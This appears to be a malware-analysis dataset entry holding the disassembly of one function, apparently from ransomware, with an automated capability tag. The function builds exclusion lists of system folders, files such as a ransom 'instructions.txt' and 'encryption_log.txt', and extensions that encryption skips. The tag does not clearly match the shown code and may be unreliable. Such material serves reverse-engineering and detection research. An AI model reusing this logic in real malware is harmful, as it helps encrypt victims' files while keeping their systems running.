Function at 0x406dd0
Capabilities:
Manipulate boot configuration

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b33d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x2f0
mov eax, dword [0x45f200]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2ac], ecx
push 0xe8
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0
push str._recycle.bin_config.msi__windows.bt__windows.ws_windows_boot_program_files_program_files__x86__programdata_system_volume_information_tor_browser_windows.old_intel_msocache_perflogs_x64dbg_public_all_users_default_appdata_microsoft
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x90], 0
movups xmmword [ebp - 0xa4], xmm0
call fcn.00409b20
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x8c]
push 0xc1
xorps xmm0, xmm0
mov dword [ebp - 0x7c], 0
push str.autorun.inf_encryption_log.txt_boot.ini_instructions.txt_bootfont.bin_bootsect.bak_desktop.ini_iconcache.db_ntldr_ntuser.dat_ntuser.dat.log_ntuser.ini_thumbs.db_GDIPFONTCACHEV1.DAT_d3d9caps.dat
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x78], 0
call fcn.00409b20
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x74]
push 0x100
xorps xmm0, xmm0
mov dword [ebp - 0x64], 0
push str.386_adv_ani_plboy_bat_bin_cab_cmd_com_cpl_cur_deskthemepack_diagcab_diagcfg_diagpkg_dll_drv_exe_hlp_icl_icns_ico_ics_idx_ldf_lnk_mod_mpa_msc_msp_msstyles_msu_nls_nomedia_ocx_prf_ps1_rom_rtp_scr_shs_spl_sys_theme_themepack_wpx_lock_key_hta_msi_pdb_search_ms
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x60], 0
call fcn.00409b20
push 0xa8
lea eax, [ebp - 0x2a0]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.0042b650
add esp, 4
lea eax, [ebp - 0xa4]
lea ecx, [ebp - 0x2a0]
push eax
call fcn.00408b60
xorps xmm0, xmm0
mov dword [ebp - 0x4c], 0
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
push ecx
lea edx, [ebp - 0x5c]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2a0]
call fcn.0040a1b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x407007
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x2c4]
call fcn.00408f90
cmp dword [ebp - 0x2b0], 0xf
lea eax, [ebp - 0x2c4]
mov edx, dword [ebp - 0x2c4]
lea ecx, [ebp - 0x2c4]
cmova eax, edx
lea edi, [ebp - 0x2c4]
mov dword [ebp - 0x2a8], eax
cmova ecx, edx
mov eax, dword [ebp - 0x2b4]
add eax, ecx
cmp dword [ebp - 0x2b0], 0xf
mov dword [ebp - 0x2a4], eax
cmova edi, edx
cmp edi, eax
je 0x406f8a
mov esi, dword [ebp - 0x2a8]
sub esi, edi
movzx eax, byte [edi]
push eax
call fcn.0042e860
mov byte [esi + edi], al
add esp, 4
inc edi
cmp edi, dword [ebp - 0x2a4]
jne 0x406f72
mov ecx, dword [ebp - 0x2ac]
lea eax, [ebp - 0x2c4]
push eax
lea eax, [ebp - 0x2fc]
mov byte [ebp - 4], 5
push eax
call fcn.00409830
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x2b0]
cmp ecx, 0xf
jbe 0x406fe5
mov edx, dword [ebp - 0x2c4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406fdb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40758d
push ecx
push edx
call fcn.0042980f
add esp, 8
push ecx
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x2a0]
call fcn.0040a1b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x406f14
push 0xa8
lea eax, [ebp - 0x1f8]
push 0
push eax
call fcn.0042b650
add esp, 4
lea eax, [ebp - 0x8c]
lea ecx, [ebp - 0x1f8]
push eax
call fcn.00408b60
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
push ecx
lea edx, [ebp - 0x44]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1f8]
call fcn.0040a1b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x407168
nop
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x2dc]
call fcn.00408f90
cmp dword [ebp - 0x2c8], 0xf
lea eax, [ebp - 0x2dc]
mov edx, dword [ebp - 0x2dc]
lea ecx, [ebp - 0x2dc]
cmova eax, edx
lea edi, [ebp - 0x2dc]
mov dword [ebp - 0x2a4], eax
cmova ecx, edx
mov eax, dword [ebp - 0x2cc]
add eax, ecx
cmp dword [ebp - 0x2c8], 0xf
mov dword [ebp - 0x2a8], eax
cmova edi, edx
cmp edi, eax
je 0x4070e8
mov esi, dword [ebp - 0x2a4]
sub esi, edi
nop
movzx eax, byte [edi]
push eax
call fcn.0042e860
mov byte [edi + esi], al
add esp, 4
inc edi
cmp edi, dword [ebp - 0x2a8]
jne 0x4070d0
mov ecx, dword [ebp - 0x2ac]
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x2fc]
mov byte [ebp - 4], 8
push eax
lea ecx, [ecx + 0x20]
call fcn.00409830
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x2c8]
cmp ecx, 0xf
jbe 0x407146
mov edx, dword [ebp - 0x2dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40713c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40758d
push ecx
push edx
call fcn.0042980f
add esp, 8
push ecx
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x1f8]
call fcn.0040a1b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x407070
push 0xa8
lea eax, [ebp - 0x150]
push 0
push eax
call fcn.0042b650
add esp, 4
lea eax, [ebp - 0x74]
lea ecx, [ebp - 0x150]
push eax
call fcn.00408b60
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
push ecx
lea edx, [ebp - 0x2c]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x150]
call fcn.0040a1b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x4072c8
nop dword [eax]
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x2f4]
call fcn.00408f90
cmp dword [ebp - 0x2e0], 0xf
lea eax, [ebp - 0x2f4]
mov edx, dword [ebp - 0x2f4]
lea ecx, [ebp - 0x2f4]
cmova eax, edx
lea esi, [ebp - 0x2f4]
mov dword [ebp - 0x2a4], eax
cmova ecx, edx
mov eax, dword [ebp - 0x2e4]
add eax, ecx
cmp dword [ebp - 0x2e0], 0xf
mov dword [ebp - 0x2a8], eax
cmova esi, edx
cmp esi, eax
je 0x407248
mov edi, dword [ebp - 0x2a4]
sub edi, esi
nop
movzx eax, byte [esi]
push eax
call fcn.0042e860
mov byte [esi + edi], al
add esp, 4
inc esi
cmp esi, dword [ebp - 0x2a8]
jne 0x407230
mov ecx, dword [ebp - 0x2ac]
lea eax, [ebp - 0x2f4]
push eax
lea eax, [ebp - 0x2fc]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ecx + 0x40]
call fcn.00409830
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x2e0]
cmp ecx, 0xf
jbe 0x4072a6
mov edx, dword [ebp - 0x2f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40729c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40758d
push ecx
push edx
call fcn.0042980f
add esp, 8
push ecx
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x150]
call fcn.0040a1b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x4071d0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x407300
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4072f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40758d
push ecx
push edx
call fcn.0042980f
add esp, 8
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x154], eax
lea ecx, [ebp - 0x140]
call fcn.00408790
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x154], eax
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0xc
push eax
mov dword [ebp - 0xf0], vtable.std::ios_base.0
call fcn.00427968
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0x30]
cmp ecx, 0xf
jbe 0x4073ae
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4073a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40758d
push ecx
push edx
call fcn.0042980f
add esp, 8
mov eax, dword [ebp - 0x1f8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x1f8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x1fc], eax
lea ecx, [ebp - 0x1e8]
call fcn.00408790
mov eax, dword [ebp - 0x1f8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1f8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x1fc], eax
lea eax, [ebp - 0x198]
mov byte [ebp - 4], 0xd
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00427968
mov byte [ebp - 4], 3
add esp, 4
mov ecx, dword [ebp - 0x48]
cmp ecx, 0xf
jbe 0x40745c
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407452
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40758d
push ecx
push edx
call fcn.0042980f
add esp, 8
mov eax, dword [ebp - 0x2a0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x2a4], eax
lea ecx, [ebp - 0x290]
call fcn.00408790
mov eax, dword [ebp - 0x2a0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x2a4], eax
lea eax, [ebp - 0x240]
mov byte [ebp - 4], 0xe
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00427968
mov ecx, dword [ebp - 0x60]
add esp, 4
cmp ecx, 0xf
jbe 0x407506
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4074fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40758d
push ecx
push edx
call fcn.0042980f
add esp, 8
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x407539
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40752f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40758d
push ecx
push edx
call fcn.0042980f
add esp, 8
mov ecx, dword [ebp - 0x90]
cmp ecx, 0xf
jbe 0x40756f
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407565
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40758d
push ecx
push edx
call fcn.0042980f
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004297d1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042e68f
int3